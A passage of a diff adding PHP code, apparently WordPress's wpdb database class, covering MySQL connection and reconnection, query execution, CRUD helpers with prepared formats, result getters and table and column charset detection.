+		$new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true;
+		$client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;
+
+		if ( $this->use_mysqli ) {
+			$this->dbh = mysqli_init();
+
+			// mysqli_real_connect doesn't support the host param including a port or socket
+			// like mysql_connect does. This duplicates how mysql_connect detects a port and/or socket file.
+			$port = null;
+			$socket = null;
+			$host = $this->dbhost;
+			$port_or_socket = strstr( $host, ':' );
+			if ( ! empty( $port_or_socket ) ) {
+				$host = substr( $host, 0, strpos( $host, ':' ) );
+				$port_or_socket = substr( $port_or_socket, 1 );
+				if ( 0 !== strpos( $port_or_socket, '/' ) ) {
+					$port = intval( $port_or_socket );
+					$maybe_socket = strstr( $port_or_socket, ':' );
+					if ( ! empty( $maybe_socket ) ) {
+						$socket = substr( $maybe_socket, 1 );
+					}
+				} else {
+					$socket = $port_or_socket;
+				}
+			}
+
+			if ( WP_DEBUG ) {
+				mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
+			} else {
+				@mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
+			}
+
+			if ( $this->dbh->connect_errno ) {
+				$this->dbh = null;
+
+				/* It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if:
+		 		 *  - We haven't previously connected, and
+		 		 *  - WP_USE_EXT_MYSQL isn't set to false, and
+		 		 *  - ext/mysql is loaded.
+		 		 */
+				$attempt_fallback = true;
+
+				if ( $this->has_connected ) {
+					$attempt_fallback = false;
+				} else if ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) {
+					$attempt_fallback = false;
+				} else if ( ! function_exists( 'mysql_connect' ) ) {
+					$attempt_fallback = false;
+				}
+
+				if ( $attempt_fallback ) {
+					$this->use_mysqli = false;
+					$this->db_connect();
+				}
+			}
+		} else {
+			if ( WP_DEBUG ) {
+				$this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
+			} else {
+				$this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
+			}
+		}
+
+		if ( ! $this->dbh && $allow_bail ) {
+			wp_load_translations_early();
+
+			// Load custom DB error template, if present.
+			if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
+				require_once( WP_CONTENT_DIR . '/db-error.php' );
+				die();
+			}
+
+			$this->bail( sprintf( __( "
+<h1>Error establishing a database connection</h1>
+<p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can't contact the database server at <code>%s</code>. This could mean your host's database server is down.</p>
+<ul>
+	<li>Are you sure you have the correct username and password?</li>
+	<li>Are you sure that you have typed the correct hostname?</li>
+	<li>Are you sure that the database server is running?</li>
+</ul>
+<p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='https://wordpress.org/support/'>WordPress Support Forums</a>.</p>
+" ), htmlspecialchars( $this->dbhost, ENT_QUOTES ) ), 'db_connect_fail' );
+
+			return false;
+		} else if ( $this->dbh ) {
+			$this->has_connected = true;
+			$this->set_charset( $this->dbh );
+			$this->set_sql_mode();
+			$this->ready = true;
+			$this->select( $this->dbname, $this->dbh );
+
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check that the connection to the database is still up. If not, try to reconnect.
+	 *
+	 * If this function is unable to reconnect, it will forcibly die, or if after the
+	 * the template_redirect hook has been fired, return false instead.
+	 *
+	 * If $allow_bail is false, the lack of database connection will need
+	 * to be handled manually.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
+	 * @return bool|null True if the connection is up.
+	 */
+	public function check_connection( $allow_bail = true ) {
+		if ( $this->use_mysqli ) {
+			if ( @mysqli_ping( $this->dbh ) ) {
+				return true;
+			}
+		} else {
+			if ( @mysql_ping( $this->dbh ) ) {
+				return true;
+			}
+		}
+
+		$error_reporting = false;
+
+		// Disable warnings, as we don't want to see a multitude of "unable to connect" messages
+		if ( WP_DEBUG ) {
+			$error_reporting = error_reporting();
+			error_reporting( $error_reporting & ~E_WARNING );
+		}
+
+		for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
+			// On the last try, re-enable warnings. We want to see a single instance of the
+			// "unable to connect" message on the bail() screen, if it appears.
+			if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
+				error_reporting( $error_reporting );
+			}
+
+			if ( $this->db_connect( false ) ) {
+				if ( $error_reporting ) {
+					error_reporting( $error_reporting );
+				}
+
+				return true;
+			}
+
+			sleep( 1 );
+		}
+
+		// If template_redirect has already happened, it's too late for wp_die()/dead_db().
+		// Let's just return and hope for the best.
+		if ( did_action( 'template_redirect' ) ) {
+			return false;
+		}
+
+		if ( ! $allow_bail ) {
+			return false;
+		}
+
+		// We weren't able to reconnect, so we better bail.
+		$this->bail( sprintf( ( "
+<h1>Error reconnecting to the database</h1>
+<p>This means that we lost contact with the database server at <code>%s</code>. This could mean your host's database server is down.</p>
+<ul>
+	<li>Are you sure that the database server is running?</li>
+	<li>Are you sure that the database server is not under particularly heavy load?</li>
+</ul>
+<p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='https://wordpress.org/support/'>WordPress Support Forums</a>.</p>
+" ), htmlspecialchars( $this->dbhost, ENT_QUOTES ) ), 'db_connect_fail' );
+
+		// Call dead_db() if bail didn't die, because this database is no more. It has ceased to be (at least temporarily).
+		dead_db();
+	}
+
+	/**
+	 * Perform a MySQL database query, using current database connection.
+	 *
+	 * More information can be found on the codex page.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query Database query
+	 * @return int|false Number of rows affected/selected or false on error
+	 */
+	public function query( $query ) {
+		if ( ! $this->ready ) {
+			$this->check_current_query = true;
+			return false;
+		}
+
+		/**
+		 * Filter the database query.
+		 *
+		 * Some queries are made before the plugins have been loaded,
+		 * and thus cannot be filtered with this method.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $query Database query.
+		 */
+		$query = apply_filters( 'query', $query );
+
+		$this->flush();
+
+		// Log how the function was called
+		$this->func_call = "\$db->query(\"$query\")";
+
+		// If we're writing to the database, make sure the query will write safely.
+		if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
+			$stripped_query = $this->strip_invalid_text_from_query( $query );
+			// strip_invalid_text_from_query() can perform queries, so we need
+			// to flush again, just to make sure everything is clear.
+			$this->flush();
+			if ( $stripped_query !== $query ) {
+				$this->insert_id = 0;
+				return false;
+			}
+		}
+
+		$this->check_current_query = true;
+		// Keep track of the last query for debug..
+		$this->last_query = $query;
+
+		$this->_do_query( $query );
+
+		// MySQL server has gone away, try to reconnect
+		$mysql_errno = 0;
+		if ( ! empty( $this->dbh ) ) {
+			if ( $this->use_mysqli ) {
+				$mysql_errno = mysqli_errno( $this->dbh );
+			} else {
+				$mysql_errno = mysql_errno( $this->dbh );
+			}
+		}
+
+		if ( empty( $this->dbh ) || 2006 == $mysql_errno ) {
+			if ( $this->check_connection() ) {
+				$this->_do_query( $query );
+			} else {
+				$this->insert_id = 0;
+				return false;
+			}
+		}
+
+		// If there is an error then take note of it..
+		if ( $this->use_mysqli ) {
+			$this->last_error = mysqli_error( $this->dbh );
+		} else {
+			$this->last_error = mysql_error( $this->dbh );
+		}
+
+		if ( $this->last_error ) {
+			// Clear insert_id on a subsequent failed insert.
+			if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) )
+				$this->insert_id = 0;
+
+			$this->print_error();
+			return false;
+		}
+
+		if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
+			$return_val = $this->result;
+		} elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
+			if ( $this->use_mysqli ) {
+				$this->rows_affected = mysqli_affected_rows( $this->dbh );
+			} else {
+				$this->rows_affected = mysql_affected_rows( $this->dbh );
+			}
+			// Take note of the insert_id
+			if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
+				if ( $this->use_mysqli ) {
+					$this->insert_id = mysqli_insert_id( $this->dbh );
+				} else {
+					$this->insert_id = mysql_insert_id( $this->dbh );
+				}
+			}
+			// Return number of rows affected
+			$return_val = $this->rows_affected;
+		} else {
+			$num_rows = 0;
+			if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
+				while ( $row = @mysqli_fetch_object( $this->result ) ) {
+					$this->last_result[$num_rows] = $row;
+					$num_rows++;
+				}
+			} else if ( is_resource( $this->result ) ) {
+				while ( $row = @mysql_fetch_object( $this->result ) ) {
+					$this->last_result[$num_rows] = $row;
+					$num_rows++;
+				}
+			}
+
+			// Log number of rows the query returned
+			// and return number of rows selected
+			$this->num_rows = $num_rows;
+			$return_val     = $num_rows;
+		}
+
+		return $return_val;
+	}
+
+	/**
+	 * Internal function to perform the mysql_query() call.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @access private
+	 * @see wpdb::query()
+	 *
+	 * @param string $query The query to run.
+	 */
+	private function _do_query( $query ) {
+		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
+			$this->timer_start();
+		}
+
+		if ( $this->use_mysqli ) {
+			$this->result = @mysqli_query( $this->dbh, $query );
+		} else {
+			$this->result = @mysql_query( $query, $this->dbh );
+		}
+		$this->num_queries++;
+
+		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
+			$this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() );
+		}
+	}
+
+	/**
+	 * Insert a row into a table.
+	 *
+	 *     wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
+	 *     wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data.
+	 * 	A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows inserted, or false on error.
+	 */
+	public function insert( $table, $data, $format = null ) {
+		return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
+	}
+
+	/**
+	 * Replace a row into a table.
+	 *
+	 *     wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
+	 *     wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
+	 *
+	 * @since 3.0.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data.
+	 * 	A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows affected, or false on error.
+	 */
+	public function replace( $table, $data, $format = null ) {
+		return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
+	}
+
+	/**
+	 * Helper function for insert and replace.
+	 *
+	 * Runs an insert or replace query based on $type argument.
+	 *
+	 * @access private
+	 * @since 3.0.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data.
+	 * 	A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @param string $type Optional. What type of operation is this? INSERT or REPLACE. Defaults to INSERT.
+	 * @return int|false The number of rows affected, or false on error.
+	 */
+	function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
+		$this->insert_id = 0;
+
+		if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ) ) ) {
+			return false;
+		}
+
+		$data = $this->process_fields( $table, $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$formats = $values = array();
+		foreach ( $data as $value ) {
+			$formats[] = $value['format'];
+			$values[]  = $value['value'];
+		}
+
+		$fields  = '`' . implode( '`, `', array_keys( $data ) ) . '`';
+		$formats = implode( ', ', $formats );
+
+		$sql = "$type INTO `$table` ($fields) VALUES ($formats)";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Update a row in the table
+	 *
+	 *     wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) )
+	 *     wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) )
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string $table table name
+	 * @param array $data Data to update (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 * @param array $where A named array of WHERE clauses (in column => value pairs). Multiple clauses will be joined with ANDs. Both $where columns and $where values should be "raw".
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the values in $data. If string, that format will be used for all of the values in $data.
+	 * 	A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. If string, that format will be used for all of the items in $where. A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $where will be treated as strings.
+	 * @return int|false The number of rows updated, or false on error.
+	 */
+	public function update( $table, $data, $where, $format = null, $where_format = null ) {
+		if ( ! is_array( $data ) || ! is_array( $where ) ) {
+			return false;
+		}
+
+		$data = $this->process_fields( $table, $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+		$where = $this->process_fields( $table, $where, $where_format );
+		if ( false === $where ) {
+			return false;
+		}
+
+		$fields = $conditions = $values = array();
+		foreach ( $data as $field => $value ) {
+			$fields[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+		foreach ( $where as $field => $value ) {
+			$conditions[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+
+		$fields = implode( ', ', $fields );
+		$conditions = implode( ' AND ', $conditions );
+
+		$sql = "UPDATE `$table` SET $fields WHERE $conditions";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Delete a row in the table
+	 *
+	 *     wpdb::delete( 'table', array( 'ID' => 1 ) )
+	 *     wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) )
+	 *
+	 * @since 3.4.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string $table table name
+	 * @param array $where A named array of WHERE clauses (in column => value pairs). Multiple clauses will be joined with ANDs. Both $where columns and $where values should be "raw".
+	 * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. If string, that format will be used for all of the items in $where. A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $where will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows updated, or false on error.
+	 */
+	public function delete( $table, $where, $where_format = null ) {
+		if ( ! is_array( $where ) ) {
+			return false;
+		}
+
+		$where = $this->process_fields( $table, $where, $where_format );
+		if ( false === $where ) {
+			return false;
+		}
+
+		$conditions = $values = array();
+		foreach ( $where as $field => $value ) {
+			$conditions[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+
+		$conditions = implode( ' AND ', $conditions );
+
+		$sql = "DELETE FROM `$table` WHERE $conditions";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Processes arrays of field/value pairs and field formats.
+	 *
+	 * This is a helper method for wpdb's CRUD methods, which take field/value
+	 * pairs for inserts, updates, and where clauses. This method first pairs
+	 * each value with a format. Then it determines the charset of that field,
+	 * using that to determine if any invalid text would be stripped. If text is
+	 * stripped, then field processing is rejected and the query fails.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $table  Table name.
+	 * @param array  $data   Field/value pair.
+	 * @param mixed  $format Format for each field.
+	 * @return array|bool Returns an array of fields that contain paired values
+	 *                    and formats. Returns false for invalid values.
+	 */
+	protected function process_fields( $table, $data, $format ) {
+		$data = $this->process_field_formats( $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$data = $this->process_field_charsets( $data, $table );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$data = $this->process_field_lengths( $data, $table );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$converted_data = $this->strip_invalid_text( $data );
+
+		if ( $data !== $converted_data ) {
+			return false;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param array $data   Array of fields to values.
+	 * @param mixed $format Formats to be mapped to the values in $data.
+	 * @return array Array, keyed by field names with values being an array
+	 *               of 'value' and 'format' keys.
+	 */
+	protected function process_field_formats( $data, $format ) {
+		$formats = $original_formats = (array) $format;
+
+		foreach ( $data as $field => $value ) {
+			$value = array(
+				'value'  => $value,
+				'format' => '%s',
+			);
+
+			if ( ! empty( $format ) ) {
+				$value['format'] = array_shift( $formats );
+				if ( ! $value['format'] ) {
+					$value['format'] = reset( $original_formats );
+				}
+			} elseif ( isset( $this->field_types[ $field ] ) ) {
+				$value['format'] = $this->field_types[ $field ];
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Adds field charsets to field/value/format arrays generated by
+	 * the {@see wpdb::process_field_formats()} method.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param array  $data  As it comes from the {@see wpdb::process_field_formats()} method.
+	 * @param string $table Table name.
+	 * @return The same array as $data with additional 'charset' keys.
+	 */
+	protected function process_field_charsets( $data, $table ) {
+		foreach ( $data as $field => $value ) {
+			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
+				// We can skip this field if we know it isn't a string.
+				// This checks %d/%f versus ! %s because it's sprintf() could take more.
+				$value['charset'] = false;
+			} else {
+				$value['charset'] = $this->get_col_charset( $table, $field );
+				if ( is_wp_error( $value['charset'] ) ) {
+					return false;
+				}
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * For string fields, record the maximum string length that field can safely save.
+	 *
+	 * @since 4.2.1
+	 * @access protected
+	 *
+	 * @param array  $data  As it comes from the wpdb::process_field_charsets() method.
+	 * @param string $table Table name.
+	 * @return array|False The same array as $data with additional 'length' keys, or false if
+	 *                     any of the values were too long for their corresponding field.
+	 */
+	protected function process_field_lengths( $data, $table ) {
+		foreach ( $data as $field => $value ) {
+			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
+				// We can skip this field if we know it isn't a string.
+				// This checks %d/%f versus ! %s because it's sprintf() could take more.
+				$value['length'] = false;
+			} else {
+				$value['length'] = $this->get_col_length( $table, $field );
+				if ( is_wp_error( $value['length'] ) ) {
+					return false;
+				}
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Retrieve one variable from the database.
+	 *
+	 * Executes a SQL query and returns the value from the SQL result.
+	 * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified.
+	 * If $query is null, this function returns the value in the specified column and row from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
+	 * @param int $x Optional. Column of value to return. Indexed from 0.
+	 * @param int $y Optional. Row of value to return. Indexed from 0.
+	 * @return string|null Database query result (as string), or null on failure
+	 */
+	public function get_var( $query = null, $x = 0, $y = 0 ) {
+		$this->func_call = "\$db->get_var(\"$query\", $x, $y)";
+
+		if ( $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		}
+
+		// Extract var out of cached results based x,y vals
+		if ( !empty( $this->last_result[$y] ) ) {
+			$values = array_values( get_object_vars( $this->last_result[$y] ) );
+		}
+
+		// If there is a value return it else return null
+		return ( isset( $values[$x] ) && $values[$x] !== '' ) ? $values[$x] : null;
+	}
+
+	/**
+	 * Retrieve one row from the database.
+	 *
+	 * Executes a SQL query and returns the row from the SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query SQL query.
+	 * @param string $output Optional. one of ARRAY_A | ARRAY_N | OBJECT constants. Return an associative array (column => value, ...),
+	 * 	a numerically indexed array (0 => value, ...) or an object ( ->column = value ), respectively.
+	 * @param int $y Optional. Row to return. Indexed from 0.
+	 * @return mixed Database query result in format specified by $output or null on failure
+	 */
+	public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
+		$this->func_call = "\$db->get_row(\"$query\",$output,$y)";
+
+		if ( $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		} else {
+			return null;
+		}
+
+		if ( !isset( $this->last_result[$y] ) )
+			return null;
+
+		if ( $output == OBJECT ) {
+			return $this->last_result[$y] ? $this->last_result[$y] : null;
+		} elseif ( $output == ARRAY_A ) {
+			return $this->last_result[$y] ? get_object_vars( $this->last_result[$y] ) : null;
+		} elseif ( $output == ARRAY_N ) {
+			return $this->last_result[$y] ? array_values( get_object_vars( $this->last_result[$y] ) ) : null;
+		} elseif ( strtoupper( $output ) === OBJECT ) {
+			// Back compat for OBJECT being previously case insensitive.
+			return $this->last_result[$y] ? $this->last_result[$y] : null;
+		} else {
+			$this->print_error( " \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N" );
+		}
+	}
+
+	/**
+	 * Retrieve one column from the database.
+	 *
+	 * Executes a SQL query and returns the column from the SQL result.
+	 * If the SQL result contains more than one column, this function returns the column specified.
+	 * If $query is null, this function returns the specified column from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query Optional. SQL query. Defaults to previous query.
+	 * @param int $x Optional. Column to return. Indexed from 0.
+	 * @return array Database query result. Array indexed from 0 by SQL result row number.
+	 */
+	public function get_col( $query = null , $x = 0 ) {
+		if ( $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		}
+
+		$new_array = array();
+		// Extract the column values
+		for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
+			$new_array[$i] = $this->get_var( null, $x, $i );
+		}
+		return $new_array;
+	}
+
+	/**
+	 * Retrieve an entire SQL result set from the database (i.e., many rows)
+	 *
+	 * Executes a SQL query and returns the entire SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query SQL query.
+	 * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. With one of the first three, return an array of rows indexed from 0 by SQL result row number.
+	 * 	Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively.
+	 * 	With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value. Duplicate keys are discarded.
+	 * @return mixed Database query results
+	 */
+	public function get_results( $query = null, $output = OBJECT ) {
+		$this->func_call = "\$db->get_results(\"$query\", $output)";
+
+		if ( $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		} else {
+			return null;
+		}
+
+		$new_array = array();
+		if ( $output == OBJECT ) {
+			// Return an integer-keyed array of row objects
+			return $this->last_result;
+		} elseif ( $output == OBJECT_K ) {
+			// Return an array of row objects with keys from column 1
+			// (Duplicates are discarded)
+			foreach ( $this->last_result as $row ) {
+				$var_by_ref = get_object_vars( $row );
+				$key = array_shift( $var_by_ref );
+				if ( ! isset( $new_array[ $key ] ) )
+					$new_array[ $key ] = $row;
+			}
+			return $new_array;
+		} elseif ( $output == ARRAY_A || $output == ARRAY_N ) {
+			// Return an integer-keyed array of...
+			if ( $this->last_result ) {
+				foreach( (array) $this->last_result as $row ) {
+					if ( $output == ARRAY_N ) {
+						// ...integer-keyed row arrays
+						$new_array[] = array_values( get_object_vars( $row ) );
+					} else {
+						// ...column name-keyed row arrays
+						$new_array[] = get_object_vars( $row );
+					}
+				}
+			}
+			return $new_array;
+		} elseif ( strtoupper( $output ) === OBJECT ) {
+			// Back compat for OBJECT being previously case insensitive.
+			return $this->last_result;
+		}
+		return null;
+	}
+
+	/**
+	 * Retrieves the character set for the given table.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $table Table name.
+	 * @return string|WP_Error Table character set, {@see WP_Error} object if it couldn't be found.
+	 */
+	protected function get_table_charset( $table ) {
+		$tablekey = strtolower( $table );
+
+		/**
+		 * Filter the table charset value before the DB is checked.
+		 *
+		 * Passing a non-null value to the filter will effectively short-circuit
+		 * checking the DB for the charset, returning that value instead.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string $charset The character set to use. Default null.
+		 * @param string $table   The name of the table being checked.
+		 */
+		$charset = apply_filters( 'pre_get_table_charset', null, $table );
+		if ( null !== $charset ) {
+			return $charset;
+		}
+
+		if ( isset( $this->table_charset[ $tablekey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		$charsets = $columns = array();
+
+		$table_parts = explode( '.', $table );
+		$table = '`' . implode( '`.`', $table_parts ) . '`';
+		$results = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
+		if ( ! $results ) {
+			return new WP_Error( 'wpdb_get_table_charset_failure' );
+		}
+
+		foreach ( $results as $column ) {
+			$columns[ strtolower( $column->Field ) ] = $column;
+		}
+
+		$this->col_meta[ $tablekey ] = $columns;
+
+		foreach ( $columns as $column ) {
+			if ( ! empty( $column->Collation ) ) {
+				list( $charset ) = explode( '_', $column->Collation );
+				$charsets[ strtolower( $charset ) ] = true;
+			}
+
+			list( $type ) = explode( '(', $column->Type );
+
+			// A binary/blob means the whole query gets treated like this.
+			if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ) ) ) {
+				$this->table_charset[ $tablekey ] = 'binary';
+				return 'binary';
+			}
+		}
+
+		// utf8mb3 is an alias for utf8.
+		if ( isset( $charsets['utf8mb3'] ) ) {
+			$charsets['utf8'] = true;
+			unset( $charsets['utf8mb3'] );
+		}
+
+		// Check if we have more than one charset in play.
+		$count = count( $charsets );
+		if ( 1 === $count ) {
+			$charset = key( $charsets );
+		} elseif ( 0 === $count ) {
+			// No charsets, assume this table can store whatever.
+			$charset = false;
+		} else {
+			// More than one charset. Remove latin1 if present and recalculate.
+			unset( $charsets['latin1'] );
+			$count = count( $charsets );
+			if ( 1 === $count ) {
+				// Only one charset (besides latin1).
+				$charset = key( $charsets );
+			} elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
+				// Two charsets, but they're utf8 and utf8mb4, use utf8.
+				$charset = 'utf8';
+			} else {
+				// Two mixed character sets. ascii.
+				$charset = 'ascii';
+			}
+		}
+
+		$this->table_charset[ $tablekey ] = $charset;
+		return $charset;
+	}
+
+	/**
+	 * Retrieves the character set for the given column.
+	 *
+	 * @since 4.2.0
+	 * @access public
+	 *
+	 * @param string $table  Table name.
+	 * @param string $column Column name.
+	 * @return mixed Column character set as a string. False if the column has no
+	 *               character set. {@see WP_Error} object if there was an error.
+	 */
+	public function get_col_charset( $table, $column ) {
+		$tablekey = strtolower( $table );
+		$columnkey = strtolower( $column );
+
+		/**
+		 * Filter the column charset value before the DB is checked.
+		 *
+		 * Passing a non-null value to the filter will short-circuit
+		 * checking the DB for the charset, returning that value instead.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string $charset The character set to use. Default null.
+		 * @param string $table   The name of the table being checked.
+		 * @param string $column  The name of the column being checked.
+		 */
+		$charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
+		if ( null !== $charset ) {
+			return $charset;
+		}
+
+		// Skip this entirely if this isn't a MySQL database.
+		if ( false === $this->is_mysql ) {
+			return false;
+		}
+
+		if ( empty( $this->table_charset[ $tablekey ] ) ) {
+			// This primes column information for us.
+			$table_charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $table_charset ) ) {
+				return $table_charset;
+			}
+		}
+
+		// If still no column information, return the table charset.
+		if ( empty( $this->col_meta[ $tablekey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		// If this column doesn't exist, return the table charset.
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		// Return false when it's not a string column.
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
+			return false;
+		}
+
+		list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
+		return $charset;
+	}
+
+	/**
+	 * Retrieve the maximum string length allowed in a given column.
+	 * The length may either be specified as a byte length or a character length.
+	 *
+	 * @since 4.2.1
+	 * @access public
+	 *
+	 * @param string $table  Table name.
